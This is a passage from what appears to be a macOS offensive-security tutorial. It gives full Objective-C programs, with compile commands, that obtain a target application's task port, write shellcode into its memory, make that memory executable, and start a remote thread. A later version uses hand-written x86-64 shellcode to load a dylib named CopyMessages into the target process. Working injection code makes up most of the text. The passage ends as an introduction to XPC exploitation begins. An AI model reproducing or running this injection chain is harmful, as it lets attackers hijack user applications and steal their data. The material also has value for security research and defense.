            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }
        return (0);

}
</code></pre>

<ul>
  <li>Compile</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -framework Foundation -framework Appkit getTaskPort.m -o getTaskPort
</code></pre></div></div>

<ul>
  <li><strong>Fetching the PID and Task Port</strong>:
    <ul>
      <li><strong>Fetching Application Instance</strong>: The application instance is obtained using <code class="language-plaintext highlighter-rouge">NSRunningApplication</code>’s <code class="language-plaintext highlighter-rouge">runningApplicationsWithBundleIdentifier:</code> method, which returns an array of applications matching the given bundle identifier.</li>
      <li><strong>PID Extraction</strong>: The process identifier (PID) is extracted from the first application instance that matches the provided bundle identifier.</li>
      <li><strong>Task Port Retrieval</strong>: The <code class="language-plaintext highlighter-rouge">task_for_pid</code> function is used to get the Mach task port for the process identified by the PID. This function requires the caller to have appropriate privileges, typically necessitating elevated rights.</li>
    </ul>
  </li>
</ul>

<h4 id="task_for_pidmach_task_self-pid-remotetask"><code class="language-plaintext highlighter-rouge">task_for_pid(mach_task_self(), pid, &amp;remoteTask)</code></h4>
<ul>
  <li><strong>Purpose</strong>: This Mach API function is used to obtain the task port of another process, which is essential for performing various system-level operations on that process.</li>
  <li><strong>Parameters</strong>:
    <ul>
      <li><strong>mach_task_self()</strong>: Represents the task port of the current process, used here for permission context.</li>
      <li><strong>pid</strong>: The PID of the target process.</li>
      <li><strong>&amp;remoteTask</strong>: A pointer to a <code class="language-plaintext highlighter-rouge">task_t</code> variable where the task port of the target process will be stored upon successful execution.</li>
    </ul>
  </li>
  <li><strong>Output</strong>: Returns a <code class="language-plaintext highlighter-rouge">kern_return_t</code> value that indicates the success or failure of the operation. If successful, <code class="language-plaintext highlighter-rouge">remoteTask</code> will contain the task port.</li>
</ul>

<h3 id="allocate--write-to-process-memory">Allocate &amp; Write to Process Memory</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AppKit/AppKit.h&gt;
#include &lt;mach/mach_vm.h&gt;
#include &lt;sys/sysctl.h&gt;

#define STACK_SIZE 0x1000
#define CODE_SIZE 128

char shellcode[] = "Your Shellcode";


uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &amp;process, &amp;buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) &amp;&amp; (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count &gt; 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &amp;remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }

        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;

        kr = mach_vm_allocate(remoteTask, &amp;remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
        }

        kr = mach_vm_allocate( remoteTask, &amp;remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
        }       
        return (0);
}

</code></pre>

<ul>
  <li>Compile</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -framework Foundation -framework Appkit allocateWrite.m -o allocateWrite
</code></pre></div></div>

<ol>
  <li><strong>Allocating Memory in the Target Process</strong>:
    <ul>
      <li>The <code class="language-plaintext highlighter-rouge">mach_vm_allocate</code> function is used to allocate memory in the target process. In this case, it allocates memory for both the shellcode and the stack.</li>
      <li><code class="language-plaintext highlighter-rouge">remoteStack64</code> is a pointer to the allocated stack memory, while <code class="language-plaintext highlighter-rouge">remoteCode64</code> is a pointer to the allocated memory for the shellcode.</li>
    </ul>
  </li>
  <li><strong>Writing Shellcode to the Target Process</strong>:
    <ul>
      <li>The <code class="language-plaintext highlighter-rouge">mach_vm_write</code> function is used to write the shellcode into the allocated memory space of the target process.</li>
    </ul>
  </li>
</ol>

<h3 id="set-memory-permisssions-for-stack--code">Set Memory Permisssions for Stack &amp; Code</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AppKit/AppKit.h&gt;
#include &lt;mach/mach_vm.h&gt;
#include &lt;sys/sysctl.h&gt;

#define STACK_SIZE 0x1000
#define CODE_SIZE 128

char shellcode[] = "Your Shellcode";

uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &amp;process, &amp;buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) &amp;&amp; (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count &gt; 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &amp;remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }

        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;

        kr = mach_vm_allocate(remoteTask, &amp;remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
        }

        kr = mach_vm_allocate( remoteTask, &amp;remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
        }
        
        kr  = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] VM_PROT_READ | VM_PROT_EXECUTE Applied on Code Memory !");
        }

        kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            
            NSLog(@"[+] VM_PROT_READ | VM_PROT_WRITE Applied on Stack Memory !");

        }
        return (0);

}
</code></pre>

<ul>
  <li>Compile</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -framework Foundation -framework Appkit setMemory.m -o setMemory
</code></pre></div></div>

<ol>
  <li><strong>Setting Memory Protections</strong>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">vm_protect</code> is used to set the memory protections for the shellcode and stack.</li>
      <li>The shellcode memory is set to be readable and executable (<code class="language-plaintext highlighter-rouge">VM_PROT_READ | VM_PROT_EXECUTE</code>), while the stack is set to be readable and writable (<code class="language-plaintext highlighter-rouge">VM_PROT_READ | VM_PROT_WRITE</code>).</li>
    </ul>
  </li>
</ol>

<h3 id="execute-the-shellcode">Execute the Shellcode</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AppKit/AppKit.h&gt;
#include &lt;mach/mach_vm.h&gt;
#include &lt;sys/sysctl.h&gt;

#define STACK_SIZE 0x1000
#define CODE_SIZE 128

char shellcode[] = "Your Shellcode";

uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &amp;process, &amp;buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) &amp;&amp; (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count &gt; 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &amp;remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }

        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;

        kr = mach_vm_allocate(remoteTask, &amp;remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
        }

        kr = mach_vm_allocate( remoteTask, &amp;remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
        }
        
        kr  = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] VM_PROT_READ | VM_PROT_EXECUTE Applied on Code Memory !");
        }

        kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            
            NSLog(@"[+] VM_PROT_READ | VM_PROT_WRITE Applied on Stack Memory !");

        }

        x86_thread_state64_t remoteThreadState64;

        memset(&amp;remoteThreadState64, '\0', sizeof(remoteThreadState64) );

        //shift stack
        remoteStack64 += (STACK_SIZE / 2); // this is the real stack
        printf ("[+] Remote Stack 64  0x%llx, Remote code is 0x%llx\n", remoteStack64, remoteCode64 );
        // set remote instruction pointer
        remoteThreadState64.__rip = (u_int64_t) remoteCode64;
        printf("[+] Set RIP to 0x%llx\n", remoteCode64);
        // set remote Stack Pointer
        remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
        printf("[+] Set RSP to 0x%llx\n", remoteStack64);
        remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
        printf("[+] Set RSP to 0x%llx\n", remoteStack64);

    
        //thread variable
        thread_act_t remoteThread;
        printf("[+] Executing Shellcode Thread.......\n");
        //create thread
        kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
           (thread_state_t) &amp;remoteThreadState64, x86_THREAD_STATE64_COUNT, &amp;remoteThread);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed: error: %s\n", mach_error_string (kr));
            return (-1);
        }
        
        printf("[+] Shellcode Executed xD\n");
        return (0);

}
</code></pre>

<ul>
  <li>Compile</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -framework Foundation -framework Appkit InjectCode.m -o InjectCode
</code></pre></div></div>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">thread_create_running</code></strong>: This function creates a new thread in the target process specified by <code class="language-plaintext highlighter-rouge">remoteTask</code>.</li>
  <li><strong>Parameters</strong>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">remoteTask</code>: The task port of the target process.</li>
      <li><code class="language-plaintext highlighter-rouge">x86_THREAD_STATE64</code>: Specifies the thread state flavor. In this case, it’s for x86_64 architecture.</li>
      <li><code class="language-plaintext highlighter-rouge">&amp;remoteThreadState64</code>: A pointer to the thread state data structure. This structure contains the initial register values for the new thread, including the instruction pointer (<code class="language-plaintext highlighter-rouge">__rip</code>), stack pointer (<code class="language-plaintext highlighter-rouge">__rsp</code>), and base pointer (<code class="language-plaintext highlighter-rouge">__rbp</code>).</li>
      <li><code class="language-plaintext highlighter-rouge">x86_THREAD_STATE64_COUNT</code>: The number of valid thread state entries.</li>
      <li><code class="language-plaintext highlighter-rouge">&amp;remoteThread</code>: A pointer to a variable that will hold the newly created thread’s port.</li>
    </ul>
  </li>
  <li>After the remote thread is created, it starts executing at the address specified by the instruction pointer (<code class="language-plaintext highlighter-rouge">__rip</code>) in the <code class="language-plaintext highlighter-rouge">remoteThreadState64</code> structure.</li>
  <li>Since the <code class="language-plaintext highlighter-rouge">__rip</code> is set to the beginning of the allocated memory where the shellcode is placed, the thread starts executing the shellcode.</li>
</ul>

<h3 id="inject-dylib">Inject Dylib</h3>

<p>To load a dylin through the thread, We need to pormote the thread to <code class="language-plaintext highlighter-rouge">POSIX</code> thread, So by creating a <code class="language-plaintext highlighter-rouge">POSIX</code> thread from the existing <code class="language-plaintext highlighter-rouge">Mach</code> thread, We will load the dylib:</p>

<pre><code class="language-ObjC">#include &lt;dlfcn.h&gt;
#import &lt;Foundation/Foundation.h&gt;
#import &lt;AppKit/AppKit.h&gt;
#include &lt;mach/mach_vm.h&gt;
#include &lt;sys/sysctl.h&gt;

#define STACK_SIZE 65536
#define CODE_SIZE 128

char shellcode[] =
"\x55"                            // push       rbp
"\x48\x89\xE5"                    // mov        rbp, rsp
"\x48\x83\xEC\x10"                // sub        rsp, 0x10
"\x48\x8D\x7D\xF8"                // lea        rdi, qword [rbp-8]
"\x48\x31\xc9"                    // xor        rcx,rcx
"\x48\x31\xf6"                    // xor        rsi,rsi
"\x48\x8D\x15\x0E\x00\x00\x00"    // lea        rdx, qword ptr [rip + 0xe]
"\x48\xB8"                        // movabs     rax, pthread_create_from_mach_thread
"PTHRDCRT"
"\xFF\xD0"                        // call       rax
"\xEB\xFE"                        // jmp        -2

"\x55"                            // push       rbp
"\x48\x89\xE5"                    // mov        rbp, rsp
"\x48\x83\xEC\x10"                // sub        rsp, 0x10
"\x6A\x01"                        // push 1
"\x5E"                            // pop rsi
"\x48\x8D\x3D\x12\x00\x00\x00"    // lea        rdi, qword ptr [rip + 0x12]
"\x48\xB8"                        // movabs     rax, dlopen
"DLOPEN__"
"\xFF\xD0"                        // call       rax
"\x48\x83\xC4\x10"                // add        rsp, 0x10
"\x5D"                            // pop        rbp
"\xC3"                            // ret

"LIBLIBLIBLIB"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &amp;process, &amp;buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) &amp;&amp; (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count &gt; 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {

        char* lib = "/tmp/CopyMessages.dylib";
        uint64_t addr_of_pthread_create = (uint64_t)dlsym(RTLD_DEFAULT, "pthread_create_from_mach_thread");
        uint64_t addr_of_dlopen = (uint64_t)dlopen;
    
        char *possible_patch_location = (shellcode);
        int i=0;
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &amp;remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }

        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;

        kr = mach_vm_allocate(remoteTask, &amp;remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
        }

        kr = mach_vm_allocate( remoteTask, &amp;remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
        }

        NSLog(@"[+] Patching to pormote Mach Thread to POSIX Thread....\n", remoteCode64);
        
        for (i = 0; i &lt; 0x100; i++) {
            possible_patch_location++;
    
            if (memcmp(possible_patch_location, "PTHRDCRT", 8) == 0) {
                NSLog(@"[+] pthread_create_from_mach_thread Address: @%llx\n", addr_of_pthread_create);
                memcpy(possible_patch_location, &amp;addr_of_pthread_create, 8);
            }
    
            if (memcmp(possible_patch_location, "DLOPEN__", 6) == 0) {
                NSLog(@"[+] dlopen Address: @%llx\n", addr_of_dlopen);
                memcpy(possible_patch_location, &amp;addr_of_dlopen, sizeof(uint64_t));
            }
    
            if (memcmp(possible_patch_location, "LIBLIBLIB", 9) == 0) {
                strcpy(possible_patch_location, lib);
                NSLog(@"[+] Patched Dylib Path in Shellcode\n");
            }
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
        }
        
        kr  = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else{

            NSLog(@"[+] VM_PROT_READ | VM_PROT_EXECUTE Applied on Code Memory !");
        }

        kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

        if (kr != KERN_SUCCESS) {
            printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            
            NSLog(@"[+] VM_PROT_READ | VM_PROT_WRITE Applied on Stack Memory !");

        }

        x86_thread_state64_t remoteThreadState64;

        memset(&amp;remoteThreadState64, '\0', sizeof(remoteThreadState64) );


        remoteStack64 += (STACK_SIZE / 2);
        NSLog (@"[+] Remote Stack 64  0x%llx, Remote code is 0x%llx\n", remoteStack64, remoteCode64 );

        remoteThreadState64.__rip = (u_int64_t) remoteCode64;
        NSLog(@"[+] Set RIP to 0x%llx\n", remoteCode64);

        remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
        NSLog(@"[+] Set RSP to 0x%llx\n", remoteStack64);
        remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
        NSLog(@"[+] Set RBP to 0x%llx\n", remoteStack64);

    

        thread_act_t remoteThread;
        NSLog(@"[+] Executing Shellcode Thread.......\n");

        kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
           (thread_state_t) &amp;remoteThreadState64, x86_THREAD_STATE64_COUNT, &amp;remoteThread);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed: error: %s\n", mach_error_string (kr));
            return (-1);
        }
        
        NSLog(@"[+] Shellcode Executed xD\n");
        return (0);

}
</code></pre>

<ol>
  <li>
    <p><strong>Including <code class="language-plaintext highlighter-rouge">dlfcn.h</code></strong>: This header file is required for dynamic linking functions like <code class="language-plaintext highlighter-rouge">dlsym</code> and <code class="language-plaintext highlighter-rouge">dlopen</code>.</p>
  </li>
  <li>
    <p><strong>Defining Larger Stack and Code Sizes</strong>: The stack size (<code class="language-plaintext highlighter-rouge">STACK_SIZE</code>) and code size (<code class="language-plaintext highlighter-rouge">CODE_SIZE</code>) have been increased to 65536 and 128, respectively.</p>
  </li>
  <li>
    <p><strong>Shellcode</strong>: The shellcode has been updated to include more instructions. It now contains two parts: one for calling <code class="language-plaintext highlighter-rouge">pthread_create_from_mach_thread</code> and another for calling <code class="language-plaintext highlighter-rouge">dlopen</code>.</p>
  </li>
  <li>
    <p><strong>Using <code class="language-plaintext highlighter-rouge">dlsym</code> to Get Address of Functions</strong>: The code uses <code class="language-plaintext highlighter-rouge">dlsym</code> to get the address of <code class="language-plaintext highlighter-rouge">pthread_create_from_mach_thread</code> and <code class="language-plaintext highlighter-rouge">dlopen</code>. These addresses are then used to patch the shellcode.</p>
  </li>
  <li>
    <p><strong>Patching the Shellcode</strong>: The code loops through the shellcode to find specific patterns (<code class="language-plaintext highlighter-rouge">"PTHRDCRT"</code>, <code class="language-plaintext highlighter-rouge">"DLOPEN__"</code>, and <code class="language-plaintext highlighter-rouge">"LIBLIBLIB"</code>) and replaces them with the addresses obtained from <code class="language-plaintext highlighter-rouge">dlsym</code> and the path to the dynamic library (<code class="language-plaintext highlighter-rouge">lib</code>). This allows the shellcode to call <code class="language-plaintext highlighter-rouge">pthread_create_from_mach_thread</code> and <code class="language-plaintext highlighter-rouge">dlopen</code> with the specified library path.</p>
  </li>
  <li>
    <p><strong>Printing Debug Information</strong>: The code includes several <code class="language-plaintext highlighter-rouge">NSLog</code> statements to print debug information, such as the addresses of <code class="language-plaintext highlighter-rouge">pthread_create_from_mach_thread</code> and <code class="language-plaintext highlighter-rouge">dlopen</code>, and the path to the dynamic library.</p>
  </li>
  <li>
    <p><strong>Using Larger Stack Offset</strong>: The code uses a larger offset (<code class="language-plaintext highlighter-rouge">STACK_SIZE / 2</code>) to shift the stack pointer (<code class="language-plaintext highlighter-rouge">__rsp</code>) in the <code class="language-plaintext highlighter-rouge">remoteThreadState64</code> structure. This offset is used to provide more space for the stack in the remote thread.</p>
  </li>
</ol>

<p>Tese changes enhance the functionality of the code by allowing it to load a dynamic library (<code class="language-plaintext highlighter-rouge">lib</code>) into a target process and create a <code class="language-plaintext highlighter-rouge">POSIX</code> thread using <code class="language-plaintext highlighter-rouge">pthread_create_from_mach_thread</code>.</p>

<h1 id="xpc-exploitation">XPC Exploitation</h1>

<h2 id="xpc-fundmentals">XPC Fundmentals</h2>

<h3 id="what-is-xpc">What is XPC?</h3>

<p>XPC is a communication mechanism in macOS and iOS that allows different processes to communicate with each other. It is used to separate tasks into different processes, enhancing security and stability by isolating potentially risky operations.</p>

<h3 id="key-components-of-xpc">Key Components of XPC:</h3>

<ul>
  <li><strong>XPC Services</strong>: These are the services that run in separate processes and perform specific tasks. They can be provided by both Apple and third-party developers.</li>
  <li><strong>Mach Services</strong>: XPC services register Mach services to facilitate communication via Mach messages.</li>
  <li><strong>Clients</strong>: Applications or processes that request services from XPC services.</li>
  <li><strong>Entitlements</strong>: Special permissions required by applications to access certain XPC services.</li>
</ul>

<h3 id="how-xpc-works">How XPC Works:</h3>

<ol>
  <li><strong>Service Registration</strong>: XPC services register themselves with the operating system, making them available to clients.</li>
  <li><strong>Client Requests</strong>: Clients send requests to the XPC service for specific tasks or information.</li>
  <li><strong>Message Passing</strong>: Communication is done through messages passed between the client and the service via Mach ports.</li>
  <li><strong>Response Handling</strong>: The XPC service processes the request and sends back a response to the client.</li>
</ol>

<p><img width="691" height="517" alt="image" src="https://github.com/user-attachments/assets/fa0c64c1-982b-40af-b1b8-09b2626a5f2d" /></p>

<h3 id="creating-server-and-client">Creating Server and Client</h3>

<h4 id="xpc-service-server">XPC Service (Server)</h4>

<p><strong>Part 1</strong></p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#import &lt;Foundation/Foundation.h&gt;
</span>
<span class="k">@protocol</span> <span class="nc">ServiceProtocol</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">upperCaseString</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">aString</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">reply</span><span class="p">;</span>
<span class="k">@end</span>

